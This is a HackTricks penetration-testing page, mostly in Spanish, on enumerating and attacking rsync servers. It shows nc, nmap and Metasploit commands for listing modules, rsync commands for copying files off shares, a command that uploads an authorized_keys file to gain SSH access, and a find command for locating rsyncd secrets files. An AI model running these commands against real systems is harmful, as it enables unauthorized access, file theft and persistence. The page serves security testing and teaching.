6.4 KiB
873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
De wikipedia:
rsync es una utilidad para transferir y sincronizar eficientemente archivos entre una computadora y un disco duro externo y a través de computadoras en red comparando los tiempos de modificación y tamaños de los archivos.[3] Se encuentra comúnmente en sistemas operativos tipo Unix. El algoritmo rsync es un tipo de codificación delta, y se utiliza para minimizar el uso de la red. Zlib puede ser utilizado para compresión de datos adicional,[3] y SSH o stunnel pueden ser utilizados para seguridad.
Puerto por defecto: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeración
Banner y comunicación manual
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerando Carpetas Compartidas
Los módulos Rsync se reconocen como comparticiones de directorios que pueden estar protegidas con contraseñas. Para identificar los módulos disponibles y verificar si requieren contraseñas, se utilizan los siguientes comandos:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Tenga en cuenta que algunas comparticiones pueden no aparecer en la lista, posiblemente ocultándolas. Además, el acceso a algunas comparticiones puede estar restringido a credenciales específicas, indicado por un mensaje de "Acceso Denegado".
Fuerza Bruta
Uso Manual de Rsync
Al obtener una lista de módulos, las acciones dependen de si se necesita autenticación. Sin autenticación, listar y copiar archivos de una carpeta compartida a un directorio local se logra a través de:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Este proceso transfiere archivos recursivamente, preservando sus atributos y permisos.
Con credenciales, listar y descargar de una carpeta compartida se puede hacer de la siguiente manera, donde aparecerá un aviso de contraseña:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Para subir contenido, como un archivo authorized_keys para acceso, usa:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Para localizar el archivo de configuración de rsyncd, ejecuta:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dentro de este archivo, un parámetro de secrets file podría apuntar a un archivo que contiene nombres de usuario y contraseñas para la autenticación de rsyncd.
Referencias
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.